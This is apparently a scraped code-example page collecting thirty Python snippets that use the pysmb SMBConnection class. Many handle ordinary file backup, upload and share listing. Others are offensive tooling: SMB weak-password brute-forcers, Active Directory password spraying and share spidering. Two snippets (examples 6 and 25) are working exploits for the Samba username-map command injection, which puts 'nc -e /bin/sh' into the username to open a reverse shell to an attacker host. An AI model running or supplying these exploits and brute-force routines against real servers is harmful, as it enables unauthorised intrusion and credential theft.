예제 #1
0
def bkp_servidor(salvar_em, fazer_bkp_de):
    userID = 'usuario'
    password = '******'
    client_machine_name = 'SERVER'
    server_name = 'SERVER'
    server_ip = 'IP'
    domain_name = 'dominio'
    conn = SMBConnection(userID,
                         password,
                         client_machine_name,
                         server_name,
                         domain=domain_name,
                         use_ntlm_v2=True,
                         is_direct_tcp=True)
    conn.connect(server_ip, 445)
    shares = conn.listShares()
    for share in shares:
        if share.name == 'name':
            criar_arquivo_zip(salvar_em, fazer_bkp_de)
            print('Backup realizado com sucesso!')
    conn.close()
예제 #2
0
파일: smb_brute.py 프로젝트: yut0u/myscan
 def crack_smb(self, userpwd):
     user, pwd = userpwd
     if self.right_pwd is None:
         logger.debug("test smb_brute userpwd:{}".format(userpwd))
         conn = SMBConnection(user,
                              pwd,
                              "client",
                              self.addr,
                              use_ntlm_v2=True,
                              is_direct_tcp=True)
         try:
             smb_authentication_successful = conn.connect(self.addr,
                                                          self.addr,
                                                          timeout=6)
             if smb_authentication_successful:
                 self.right_pwd = userpwd
             conn.close()
         except Exception as e:
             pass
         finally:
             conn.close()
예제 #3
0
def run(ip, port, timeout=5):
    socket.setdefaulttimeout(timeout)
    hostname = ip2hostname(ip)

    if 'anonymous' not in PASSWORD:
        PASSWORD.insert(0, 'anonymous')
    if not hostname:
        return
    for username in USERNAME:
        for password in PASSWORD:
            try:
                password = str(password.replace('{user}', username))
                conn = SMBConnection(username, password, 'xunfeng', hostname)
                if conn.connect(ip) == True:
                    if password == 'anonymous':
                        return "SMB anonymous share"
                    return "SMB weak password. username: %s, password: %s" % (
                        username, password)
            except Exception, e:
                if "Errno 10061" in str(e) or "timed out" in str(e):
                    return
예제 #4
0
 def uploadFilewithFD(self):#上传文件使用filedialog        
     filetypes = [
         ("All Files", '*'),
         ("Python Files", '*.py', 'TEXT'),
         ("Text Files", '*.txt', 'TEXT'),
         ("Exe Files", '*.exe', 'TEXT')]   #列表指定选择指定格式的文件
     fobj = filedialog.askopenfile(filetypes=filetypes)  #调用tkinter的filedialog打开文件
     if fobj:
         self.upload_path = fobj.name
         a = len(self.upload_path.split('/'))
         try:
             conn = SMBConnection(self.username, self.password, self.my_name, self.remote_smb_IP, self.domain_name, use_ntlm_v2=True,is_direct_tcp = True)
             conn.connect(self.remote_smb_IP,445)
             file_obj = open(self.upload_path, 'rb')
             conn.storeFile(self.dir, self.display_path + self.upload_path.split('/')[a - 1], file_obj)
             file_obj.close()
             return True
         except:
             return False
     else:
         pass
예제 #5
0
def sprayAD(host, username, password, client, computerName, domain_name=""):
    if verbose:
        print(Fore.YELLOW +
              "Checking credentials {0}:{1}".format(username, password))
    IP, port = host.split(":")
    if not computerName:
        computerName = getServerName(IP)

    conn = SMBConnection(username,
                         password,
                         client,
                         computerName,
                         domain=domain_name,
                         use_ntlm_v2=True,
                         is_direct_tcp=True)
    if conn.connect(IP, int(port)):
        print("[" + Fore.GREEN + "VALID_CREDS",
              "] {}:{} using {}:{}".format(IP, port, username, password))
    else:
        print("[" + Fore.RED + "INVALID_CREDENTIALS",
              "] {}:{} using {}:{}".format(IP, port, username, password))
예제 #6
0
def main():
    usage()
    target_ip = sys.argv[1]
    local_ip = sys.argv[2]
    port = sys.argv[3]

    #payload = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {} {}".format(local_ip, port)

    payload = "nc -e /bin/sh {} {}".format(local_ip, port)
    username = ('/=`nohup {} `'.format(payload))
    password = ''

    # Main connection done via this variable
    conn = SMBConnection.SMBConnection(username,
                                       password,
                                       "SOMEBODYHACKINGYOU",
                                       "METASPLOITABLE",
                                       use_ntlm_v2=False)

    # This is a socket call
    conn.connect(sys.argv[1], 445)
예제 #7
0
def listTarget(target, share, path):
    conn = SMBConnection('guest@' + target, '', 'Athena', target, '', True, 2,
                         True)
    try:
        conn.connect(target, 445)
        listing = conn.listPath(share, path)

    except:
        #return ['error: '+target+';'+share+';'+path]
        return []

    # filter . and .. directories
    listing = [file for file in listing if file.filename not in ['.', '..']]
    # build dicts from files
    listing = [{
        'filename': file.filename,
        'directory': file.isDirectory,
        'size': file.file_size
    } for file in listing]

    return listing
예제 #8
0
    def getFile(self):
        try:
            user = ''
            password = ''
            client_machine_name = 'raspScanner'
            self.getServerIP()
            files = ['BARCODES.dbf', 'LIQCODE.dbf', 'LIQCODE.dbt']

            conn = SMBConnection(user, password, client_machine_name,
                                 self.server_name, self.server_ip)
            conn.connect(self.server_ip)
            print('connected')
            for file in files:
                f = open(file, 'w')
                conn.retrieveFile("LPOSDATA", "/" + file, f)
                f.close()
            print('files retrieved')
            conn.close()
            return (True)
        except:
            return (False)
예제 #9
0
    def getFiles(self):
        self.user = ''
        self.password = ''
        self.client_machine_name = 'raspScanner'

        try:
            self.getServerIP()
            files = ['BARCODES.dbf', 'LIQCODE.DBF', 'LIQCODE.DBT']
            conn = SMBConnection(self.user, self.password,
                                 self.client_machine_name, self.server_name,
                                 self.server_ip)
            with dbfLock:
                conn.connect(self.server_ip)
                for file in files:
                    f = open(file, 'w')
                    conn.retrieveFile("LPOSDATA", "/" + file, f)
                    f.close()
                conn.close()
            return (True)
        except:
            return (False)
예제 #10
0
def enumShare(host, ports, user, pword, slptm, addomain, lsdir):
    try:
        for port in ports:
            try:
                s = SMBConnection(
                    user,
                    pword,
                    gethostname(),
                    host,
                    addomain,
                    use_ntlm_v2=True,
                    sign_options=SMBConnection.SIGN_WHEN_REQUIRED,
                    is_direct_tcp=True)
                s.connect(host, port)
                sleep(slptm)

                print(
                    "[i] IP ADDRESS OR MACHINE NAME: {}\n[i] PORT: {}\n[i] SHARE INFO:\n"
                    .format(host, port))

                for share in s.listShares():
                    print("{} : {}{}".format(
                        getPermissions("\\\\{}\\{}".format(host, share.name)),
                        share.name, getShareComments(share.comments)))

                    if lsdir:
                        print("DIRECTORY LISTING FOR {}:".format(share.name))
                        try:
                            for item in listdir("\\\\{}\\{}".format(
                                    host, share.name)):
                                print("{}{}".format("   -", item))
                        except Exception as le:
                            print("MESSAGE: {}".format(le))
                        print("\n")

                print("\n")
            except Exception as e:
                print("MESSAGE: {}:{} - {}\n".format(host, port, e))
    except KeyboardInterrupt as ki:
        print("[!]: Script Aborted!")
예제 #11
0
def enum_thread(args, host):
    logger.debug('Connecting to {} as {}\\{}'.format(host, args.domain or '',
                                                     args.username))
    conn = SMBConnection(args.username,
                         args.password,
                         'adenum',
                         host,
                         use_ntlm_v2=True,
                         domain=args.domain,
                         is_direct_tcp=(args.smb_port != 139))
    conn.connect(host, port=args.smb_port)
    shares = [
        s.name for s in conn.listShares()
        if s.type == smb.base.SharedDevice.DISK_TREE
    ]
    for s in shares:
        if s.lower() in args.exclude:
            logger.debug('Skipping excluded dir: ' + s)
            continue
        logger.debug('Crawling share ' + s)
        crawl_share(conn, s)
    conn.close()
예제 #12
0
def getFolderlist(current_user):
    userID = current_user.name
    password = current_user.password
    folder_list = []
    try:
        conn = SMBConnection(userID,
                             password,
                             cifs_host_name,
                             cifs_server_name,
                             use_ntlm_v2=True)
        conn.connect(cifs_server_ip, 139)
        Response = conn.listShares(timeout=30)
        for i in range(len(Response)):
            folder_list.append(Response[i].name)
    except Exception as e:
        exception_type, exception_object, exception_traceback = sys.exc_info()
        filename = exception_traceback.tb_frame.f_code.co_filename
        line_number = exception_traceback.tb_lineno
        print("Exception type: ", exception_type, "\n File name: ", filename,
              "\n Line number: ", line_number)
        print("Exception: ", e)
    return folder_list
예제 #13
0
def _find_sever():
    """
    loop through addresses and try to connect
    """
    userID = ''
    password = ''
    client_machine_name = 'localpcname'
    server_name = 'servername'
    domain_name = 'domainname'

    for i in xrange(10,11):
        server = "10.0.0.{}".format(unicode(i))
        conn = SMBConnection(userID, password, client_machine_name, server_name, domain=domain_name, use_ntlm_v2=True,
                     is_direct_tcp=True)
        try:
            print "trying: {}".format(server)
            conn.connect(server, 445)
        except Exception:
            continue
        else:
            print "{} is connected on: {}.".format(server, [i.name for i in conn.listShares()])
            conn.close()
    def client(self):
        from smb.SMBConnection import SMBConnection
        from smb.base import NotConnectedError

        now = time.time()
        if self._last_client_action + self._ping_interval < now:
            try:
                if not self._client:
                    raise NotConnectedError
                self.debug('pinging server')
                self._client.echo(b'ping')
            except NotConnectedError:
                self.debug('recreating connection')
                self._client = SMBConnection(self.user_id,
                                             self.password,
                                             self.client_machine_name,
                                             self.server_name,
                                             use_ntlm_v2=True,
                                             is_direct_tcp=True)
                self._client.connect(self.server_ip, 445)
        self._last_client_action = time.time()
        return self._client
예제 #15
0
def get_shares(target, domain_name, remote_name, username, password):
    my_name = 'WIN-2003'
    logger.verbose('[{}]:\tCLIENT NAME CONFIGURED TO: {}'.format(logger.YELLOW(target),logger.YELLOW(my_name)))
    logger.live_info('[{}]:\tATTEMPTING SHARES'.format(logger.BLUE(target)))
    server_ip = target

    if remote_name != None:
        logger.verbose('[{}]:\tCONNECTION STATUS: [{} | {} | {}]'.format(logger.YELLOW(target),logger.YELLOW(server_ip), logger.YELLOW(remote_name), logger.YELLOW(domain_name)))
    else:
        logger.verbose('[{}]:\tCONNECTION STATUS: [{} | {} | {}]'.format(logger.YELLOW(target),logger.YELLOW(server_ip), logger.YELLOW('COULD NOT RESOLVE'), logger.YELLOW(domain_name)))
    open_shares = []
    if remote_name == None:
        logger.live_bad('[{}]:\tSMB CONNECTION: {}'.format(logger.RED(server_ip),logger.RED('COULD NOT GET REMOTE HOST NAME')))
        return None
    else:
        conn = SMBConnection(username, password, my_name, remote_name,domain=domain_name, use_ntlm_v2=True, is_direct_tcp=True)
        logger.verbose('SMB configuration:')
        logger.verbose('\tConnecting with: {}'.format(logger.YELLOW(username)))
        for k, v in vars(conn).items():
            attribute = str(k)
            value = str(v)
            if '<class' not in value and 'bound method' not in value and 'object' not in value and "b''" not in value:
                logger.verbose('\t'+attribute+': '+value)
    try:
        conn.connect(server_ip, 445)
        logger.green('[{}]:\tSMB CONNECTION: {}'.format(logger.GREEN(server_ip),logger.GREEN('SUCCESS')))
        try:
            shares = conn.listShares(timeout=15)
            for share in range(len(shares)):
                share_name = str(shares[share].name)
                open_shares.append(share_name)
        except Exception as e:
            logger.live_bad('Got error: {}'.format(logger.RED(e)))

    except:
        logger.live_bad('[{}]:\tSMB CONNECTION: {}'.format(logger.RED(server_ip),logger.RED('FAILED')))

    logger.green('[{}]:\tSHARES: {}'.format(logger.GREEN(target),logger.GREEN(', '.join(open_shares))))
    return open_shares
예제 #16
0
    def create(self, cr, uid, vals, context=None):
        """Push a new picture to GP."""
        pic_id = super(child_pictures, self).create(cr, uid, vals, context)
        pic_data = self.get_picture(cr, uid, [pic_id], 'fullshot', '',
                                    context)[pic_id]

        if pic_data:
            # Retrieve configuration
            smb_user = config.get('smb_user')
            smb_pass = config.get('smb_pwd')
            smb_ip = config.get('smb_ip')
            child_obj = self.pool.get('compassion.child')
            child = child_obj.browse(cr, uid, vals['child_id'], context)
            # In GP, pictures are linked to Case Study
            if not child.case_study_ids:
                child_obj._get_case_study(cr, uid, child, context)
                child = child_obj.browse(cr, uid, child.id, context)
            date_cs = child.case_study_ids[0].info_date.replace('-', '')
            gp_pic_path = "{}{}/".format(config.get('gp_pictures'),
                                         child.code[:2])
            file_name = "{}_{}.jpg".format(child.code, date_cs)
            picture_file = TemporaryFile()
            picture_file.write(base64.b64decode(pic_data))
            picture_file.flush()
            picture_file.seek(0)

            # Upload file to shared folder
            smb_conn = SMBConnection(smb_user, smb_pass, 'openerp', 'nas')
            if smb_conn.connect(smb_ip, 139):
                try:
                    smb_conn.storeFile('GP', gp_pic_path + file_name,
                                       picture_file)
                except OperationFailure:
                    # Directory may not exist
                    smb_conn.createDirectory('GP', gp_pic_path)
                    smb_conn.storeFile('GP', gp_pic_path + file_name,
                                       picture_file)

        return pic_id
예제 #17
0
 def save_file(self, filename, file_path, overwrite=True):
     """Save the local file at file_path to the Samba share with the specified name. Return the bytes written."""
     with SMBConnection(self.username, "", self.hostname, "") as conn:
         if self.samba_connect(conn):
             uploaded_bytes = 0
             print("Saving local file {} to Samba share to {}".format(
                 file_path, filename),
                   flush=True)
             try:
                 with open(file_path, 'rb') as f:
                     uploaded_bytes = conn.storeFile(
                         self.smb_share, filename, f)
             except OperationFailure:
                 if overwrite:
                     print("File exists already, overwriting...",
                           flush=True)
                     self.delete_file(filename)
                     return self.save_file(filename, file_path)
                 else:
                     print("File exists already, NOT overwriting...",
                           flush=True)
             return uploaded_bytes
예제 #18
0
def connect(url):
    # logger.info("Url: %s" % url)
    global remote
    server_name, server_ip, share_name, path, user, password, domain = parse_url(url)
    
    #Da problemas asumir que la sesión está abierta.  Si se abrió pero ha caducado, dará error.  Mejor conectar siempre
    """
    if not remote or not remote.sock or not server_name == remote.remote_name:
        remote = SMBConnection(user, password, domain, server_name)
        remote.connect(server_ip, 139)
    """
    remote = SMBConnection(user, password, domain, server_name)
    try:
        remote.connect(ip=server_ip, timeout=5)
    except:
        try:
            remote.close()
        except:
            pass
        remote.connect(ip=server_ip, timeout=5)

    return remote, share_name, path
예제 #19
0
def sort_files_from_server(service_name, csv_name):
    print("Files sorting process was initiated")
    user_name = SMB_USER
    password = SMB_PASSWORD
    local_machine_name = "laptop"
    server_machine_name = SMB_SERVER_NAME
    server_ip = SMB_SERVER_IP

    paths_df = pd.read_csv(csv_name)
    paths_df = paths_df['Full Object Name'].map(lambda x: x.lstrip(service_name))
    files = []
    sizes = []

    for path in paths_df:
        print(".")
        path = path.replace('\\', '/')
        files.append(path)
        try:
            # print("\nFile information retrieval process was requested for file -> " + path)
            conn = SMBConnection(user_name, password, local_machine_name, server_machine_name, use_ntlm_v2=True, is_direct_tcp=True)
            assert conn.connect(server_ip, 445)
            attributes = conn.getAttributes(service_name, path)
            file_size = attributes.file_size
            sizes.append(file_size)
        except:
            print("Information retrieval process failed for file " + path)
            sizes.append(0)
            continue
    size_df = pd.DataFrame()
    size_df['file_paths'] = pd.Series(files)
    size_df['file_size'] = pd.Series(sizes)

    # SORTING AND CONVERTING DATA
    sorted_df = size_df.sort_values(by='file_size', ascending=True).reset_index(drop=True)
    sorted_df['file_size'] = sorted_df['file_size'].map(lambda val: convert_size(val))

    # SAVE DATAFRAME TO CSV
    sorted_df.to_csv('Objects_sorted.csv')
    print(sorted_df)
예제 #20
0
def run_brute_force(username, password, args):
    ip = args.ip
    port = args.port
    domain = args.domain
    list_shares = args.list_shares
    timeout = args.timeout
    verbose = args.verbose

    client_name = "client"
    server_name = ip
    if port == 445:
        is_direct_tcp = True
    else:
        is_direct_tcp = False

    try:
        # def __init__(self, username, password, my_name, remote_name, domain = '', use_ntlm_v2 = True, sign_options = SIGN_WHEN_REQUIRED, is_direct_tcp = False)
        conn = SMBConnection(username,
                             password,
                             client_name,
                             server_name,
                             domain=domain,
                             use_ntlm_v2=True,
                             is_direct_tcp=is_direct_tcp)
        smb_authentication_successful = conn.connect(ip, port, timeout=timeout)
        if smb_authentication_successful:
            print "success: [%s:%s]" % (username, password)
            if list_shares:
                list_smb_shares(conn, timeout)
        else:
            if verbose:
                print "failed: [%s:%s]" % (username, password)
    except:
        if verbose:
            e = sys.exc_info()
            print "%s" % str(e)
    finally:
        if conn:
            conn.close()
예제 #21
0
def get_production_backup2(path, list_filename):
    main, samba = set_samba_settings()
    conn = SMBConnection(samba['smb_username'], samba['smb_password'], os.environ['COMPUTERNAME'], getBIOSName(samba['smb_server']), use_ntlm_v2 = True)
    conn.connect(samba['smb_server'], 139)
    prod_files = filter(lambda x: x[7:17] == 'MAXIMOTEST' and x[18:25] != 'SOURCES' and x[18:24] != 'DB_OBJ', list_filename)
    file_info = {}
    for f in prod_files:
        # check directory exist on remote server
        rem_path = ('maximo/'+f[18:-len(os.path.basename(f))-1]).split('/')
        ch_path = ''
        dir_exist = True
        for item in rem_path:
            # print 'Item: '+item
            testdir = conn.listPath('c$', ch_path)
            if item == 'maximo':
                ch_path = ch_path+delimiter()+item
                continue
            if item in [x.filename for x in testdir]:
                pass
            else:
                dir_exist = False
                break
            ch_path = ch_path+delimiter()+item
        if dir_exist is False:
            continue
        # print f
        testfiles = conn.listPath('c$', 'maximo/'+f[18:-len(os.path.basename(f))])  # observe target directory
        if os.path.basename(f) in [x.filename for x in testfiles]:                  # check file exist on remote directory
            if not os.path.exists(path+delimiter()+f[:-len(os.path.basename(f))].replace('/', '\\')):
                os.makedirs(path+delimiter()+f[:-len(os.path.basename(f))].replace('/', '\\'))  # create backup dir
            with open(path+delimiter()+f.replace('/', '\\'), 'wb') as local_file:
                file_attributes, filesize = conn.retrieveFile('c$',
                                                                  delimiter()+'maximo'+delimiter()+f[18:].replace('/', '\\'),
                                                                  local_file)
            file_info[f] = []
            file_info[f].append(filesize)
            file_info[f].append(md5(open(path+delimiter()+f.replace('/', '\\'), 'rb').read()).hexdigest())
    conn.close()
    return file_info
예제 #22
0
def creack_smb(ip, username, password):
    global scan_status_code
    if scan_status_code:
        conn = SMBConnection(username,
                             password,
                             'client_machine_name',
                             ip,
                             domain='',
                             use_ntlm_v2=True,
                             is_direct_tcp=True)
        try:
            status_code = conn.connect(ip, 445)
            if status_code:
                message = '[+]\t{0}\t{1}\t{2}'.format(ip, username, password)
                write_log(message)
                scan_status_code = False

        except Exception as e:
            print str(e)

        finally:
            conn.close()
예제 #23
0
    def connect(self):

        logging.info(
            'self.username is %s, self.password  is %s, self.client is %s, self.server is %s ',
            self.username, self.password, self.client, self.server)
        try:
            self.conn = SMBConnection(self.username,
                                      self.password,
                                      self.client,
                                      self.server,
                                      use_ntlm_v2=True,
                                      domain=self.domain)

            logging.info('self.server_ip is %s, self.port  is %s',
                         self.server_ip, self.port)

            self.connected = self.conn.connect(self.server_ip, self.port)
            logging.info('Connected to %s' % self.server)
            return self.connected
        except Exception as e:
            logging.exception('Connect failed. Reason: %s', e)
            return False
예제 #24
0
def SMBScpFile(userID, password, client_machine_name, server_name, server_ip):

    # There will be some mechanism to capture userID, password, client_machine_name, server_name and server_ip
    # client_machine_name can be an arbitary ASCII string
    # server_name should match the remote machine name, or else the connection will be rejected
    conn = SMBConnection(userID,
                         password,
                         client_machine_name,
                         server_name,
                         use_ntlm_v2=True)
    conn.connect(server_ip, 139)

    file_obj = tempfile.NamedTemporaryFile()
    file_attributes, filesize = conn.retrieveFile('smbtest', '/rfc1001.txt',
                                                  file_obj)

    # Retrieved file contents are inside file_obj
    # Do what you need with the file_obj and then close it
    # Note that the file obj is positioned at the end-of-file,
    # so you might need to perform a file_obj.seek() if you need
    # to read from the beginning
    file_obj.close()
예제 #25
0
def exploit(r_host, r_port, l_host,
            l_port):  #Exploit function. Applying payload.

    r_host = r_host.strip()
    r_port = int(r_port.strip())
    l_host = l_host.strip()
    l_port = l_port.strip()

    payload = 'nc -e /bin/sh ' + l_host + ' ' + l_port
    username = "******" + payload + "`"

    conn = SMBConnection(username, '', '', '')

    try:
        conn.connect(r_host, r_port, timeout=1)
        print("Did it connect? Check your inputs!")
    except:
        print("Mischief managed!. Check your netcat connection!")
        time.sleep(1)
        print(
            "Did it connect? If not, try running as sudo or check your inputs! :)"
        )
예제 #26
0
def hostEnum(host, ports, user, pword, slptm, addomain, lsdir, tmout, depth):
    try:
        for port in ports:
            try:
                s = SMBConnection(
                    username=user,
                    password=pword,
                    my_name=gethostname(),
                    remote_name=host,
                    domain=addomain,
                    use_ntlm_v2=True,
                    sign_options=SMBConnection.SIGN_WHEN_REQUIRED,
                    is_direct_tcp=True)
                s.connect(host, port, timeout=tmout)
                sleep(slptm)

                print(
                    "[i] MACHINE NAME: {}\n[i] IP ADDRESS: {}\n[i] PORT: {}\n[i] SHARE INFO:\n"
                    .format(getfqdn(host), host, port))

                for share in s.listShares():
                    print("{} : {}{}".format(
                        getPermissions("\\\\{}\\{}".format(host, share.name)),
                        share.name, getShareComments(share.comments)))

                    if lsdir:
                        print(
                            "DIRECTORY LISTINGS FOR SHARE: \\\\{}\\{}:".format(
                                host, share.name))
                        spiderShares("\\\\{}\\{}".format(host, share.name),
                                     depth, 0)

                print("{}".format("=" * 150))
            except Exception as e:
                print("!!!ERROR: {}:{} ({}) - {}\n{}\n".format(
                    host, port, getfqdn(host), e, "=" * 150))
    except KeyboardInterrupt as ki:
        print("[!]: Script Aborted!")
예제 #27
0
def get_default_pwd_policy(args, conn):
    ''' default password policy is what gets returned by "net accounts"
    The policy is stored as a GPO on the sysvol share. It's stored in an INI file.
    The default policy is not returned by get_pwd_policy() '''
    if conn:
        conn.search('cn=Policies,cn=System,' + args.search_base,
                    '(cn={31B2F340-016D-11D2-945F-00C04FB984F9})',
                    attributes=['gPCFileSysPath'])
        gpo_path = conn.response[0]['attributes']['gPCFileSysPath'][0]
    else:
        gpo_path = r'\\' + args.domain + r'\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE'
    logger.debug('GPOPath ' + gpo_path)
    sysvol, rel_path = gpo_path[2:].split('\\', 2)[-2:]
    rel_path += r'\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf'
    tmp_file = tempfile.NamedTemporaryFile(prefix='GptTmpl_', suffix='.inf')
    md4_tmp = smb.ntlm.MD4
    if args.nthash:
        smb.ntlm.MD4 = MyMD4Class.new
    conn = SMBConnection(args.username,
                         args.password,
                         'adenum',
                         args.server,
                         use_ntlm_v2=True,
                         domain=args.domain,
                         is_direct_tcp=(args.smb_port != 139))
    logger.debug('connecting {}:{}'.format(args.server, args.smb_port))
    conn.connect(args.server, port=args.smb_port)
    smb.ntlm.MD4 = md4_tmp
    attrs, size = conn.retrieveFile(sysvol, rel_path, tmp_file)
    tmp_file.seek(0)
    inf = tmp_file.read()
    if inf[:2] == b'\xff\xfe':
        inf = inf.decode('utf-16')
    else:
        inf = inf.decode()
    config = configparser.ConfigParser(delimiters=('=', ':', ','))
    config.read_string(inf)
    return config['System Access']
예제 #28
0
    def connect_directory_monitoring(self):
        """shared directory monitoring connection"""

        try:
            server_ip = socket.gethostbyname(self.smb_server_name)
            self.conn = SMBConnection(
                self.smb_user_name,
                self.smb_password,
                self.smb_server_name,
                self.smb_server_name,
                '',
                use_ntlm_v2=True,
                sign_options=SMBConnection.SIGN_WHEN_SUPPORTED,
                is_direct_tcp=True)
            self.connected = self.conn.connect(server_ip, 445)
            if not self.connected:
                logger.error(
                    'Authentication failed, '
                    'verify instance configuration parameters and try again.')
                raise ValueError("Authentication failed")
        except Exception as error:
            logger.error(f'Can not access the system: {error}')
            raise ValueError("Can not access the system")
예제 #29
0
	def run(self):
		if self.ip is None:
			print(Fore.YELLOW+Style.DIM+"[*] No IP to go after, moving to next target..."+Style.RESET_ALL)
		else:
			print(Fore.YELLOW+"[+] Starting thread for " + self.ip+Style.RESET_ALL)
			net = NetBIOS()
			net_name = str(net.queryIPForName(self.ip)).strip("['").strip("']")
			net.close()
			conn = SMBConnection(self.user, self.pwd, 'cobwebs', net_name, domain=self.domain, use_ntlm_v2 = True, is_direct_tcp=True)
			if conn.connect(self.ip, port=445, timeout=10):
				print(Fore.GREEN+"[+] Connection to %s Successful! Time to Spider!" % self.ip+Style.RESET_ALL)
			else:
				print(Fore.RED+"[!] Connection Failed to %s!" % self.ip+Style.RESET_ALL)

			shares = conn.listShares()
			for share in shares:
				if not share.isSpecial and share.name not in ['NETLOGON', 'SYSVOL']:
					x = True
					while x == True:
						x = recurse(conn,self.ip,share,"/")
						if x == False:
							break
			conn.close()
예제 #30
0
 def smbbrute(self, ip):
     for pwd in passwd:
         try:
             conn = SMBConnection('administrator',
                                  pwd,
                                  "client",
                                  ip,
                                  domain="",
                                  use_ntlm_v2=True,
                                  is_direct_tcp=True)
             conn.connect(ip, 445, timeout=5)
             lists = conn.listShares()
             if lists:
                 print('{}[+] {}:445  smb存在弱口令 administrator:{} {}'.format(
                     G, ip, pwd, W))
                 self.save(
                     'result.txt',
                     "{}:445 \tsmb存在弱口令: administrator:{}".format(ip, pwd))
                 return
         except Exception as e:
             pass
         finally:
             conn.close()